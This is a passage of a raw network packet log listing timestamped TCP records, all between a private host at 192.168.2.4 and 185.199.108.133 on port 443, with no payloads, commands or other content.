Sep 20, 2024 12:14:54.190361977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190375090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190392971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190475941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190515995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190551043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190562963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190589905 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190845013 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190931082 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190972090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.191015005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.191026926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.191052914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.191304922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.191344976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.191379070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.191409111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.191446066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.221757889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.221805096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.221889973 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.221911907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.221927881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.222110987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.222208977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.222270966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.222290039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.222300053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.222332001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.222354889 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.223040104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223084927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223126888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.223134995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223190069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.223530054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223573923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223609924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.223617077 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.223642111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.223666906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.224502087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.224548101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.224586010 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.224592924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.224632025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.224666119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.225195885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225238085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225279093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.225286007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225321054 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.225347996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.225805998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225848913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225886106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.225892067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.225929976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.226394892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.226438046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.226474047 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.226481915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.226506948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.226541996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.237831116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.274645090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.274691105 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.274751902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.274768114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.274806976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.274890900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.274933100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.274972916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.275029898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.275042057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.275069952 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.275119066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.276473045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.276549101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.276566982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.276578903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.276624918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.276643991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.277149916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.277189970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.277246952 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.277259111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.277293921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.277335882 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.278726101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.278765917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.278811932 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.278822899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.278851986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.278887033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.279679060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.279717922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.279767036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.279778004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.279823065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.279865980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.280556917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.280621052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.280654907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.280666113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.280704021 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.280723095 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.281447887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.281487942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.281534910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.281546116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.281569958 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.281610966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308264971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308310986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308382034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308398962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308434010 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308460951 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308579922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308624029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308665991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308675051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308715105 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308739901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308902025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308944941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.308981895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.308988094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.309025049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.309051991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.309375048 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.309417963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.309451103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.309457064 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.309489012 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.309519053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.310596943 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.310694933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.310726881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.310734034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.310774088 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.310811996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311070919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311113119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311146975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311155081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311192989 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311217070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311306000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311351061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311382055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311395884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311424971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311448097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311681032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311722994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311753988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.311760902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.311808109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361054897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361098051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361171007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361186028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361210108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361429930 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361509085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361551046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361608028 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361618996 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.361644983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.361707926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.362904072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.362945080 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.363008022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.363018990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.363048077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.363074064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.363327026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.363368034 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.363435030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.363454103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.363477945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.363534927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.364649057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.364687920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.364737034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.364748001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.364778996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.364819050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.365547895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.365587950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.365633011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.365643978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.365674019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.365709066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.366259098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.366297960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.366338968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.366350889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.366379976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.366410017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.367147923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.367188931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.367229939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.367240906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.367266893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.367299080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.395466089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.395520926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.395608902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.395641088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.395662069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.395797968 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.395911932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.395952940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.395992041 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.395999908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396044016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.396244049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396284103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396315098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.396322966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396346092 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.396373034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.396537066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396578074 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396610975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.396617889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.396656990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.397630930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.397672892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.397706032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.397711992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.397737026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.397766113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.397948027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.397989988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398021936 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398029089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398072958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398092985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398292065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398334026 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398369074 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398375988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398408890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398437023 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398686886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398725986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398760080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398767948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.398802996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.398828983 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.452949047 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.453082085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.453147888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.453166962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.453208923 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.453226089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455337048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455435038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455440998 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455476999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455523014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455540895 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455678940 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455717087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455768108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455777884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.455809116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.455853939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.457911968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.457951069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.458009005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.458019018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.458064079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.458086014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.458157063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.458194971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.458239079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.458250046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.458301067 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.458301067 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.460812092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.460851908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.460913897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.460925102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.460949898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461002111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461071968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461113930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461169004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461179018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461204052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461236954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461281061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461321115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461359024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461369991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.461405039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.461431980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.482584953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.482633114 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.482738972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.482738972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.482769966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.482831955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.482913971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.482971907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.482988119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483000994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483031988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483057022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483138084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483180046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483208895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483217001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483251095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483275890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483681917 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483724117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483758926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483766079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.483798981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.483827114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485032082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485090971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485109091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485116005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485151052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485177040 CEST	58639	443	192.168.2.4	185.199.108.133
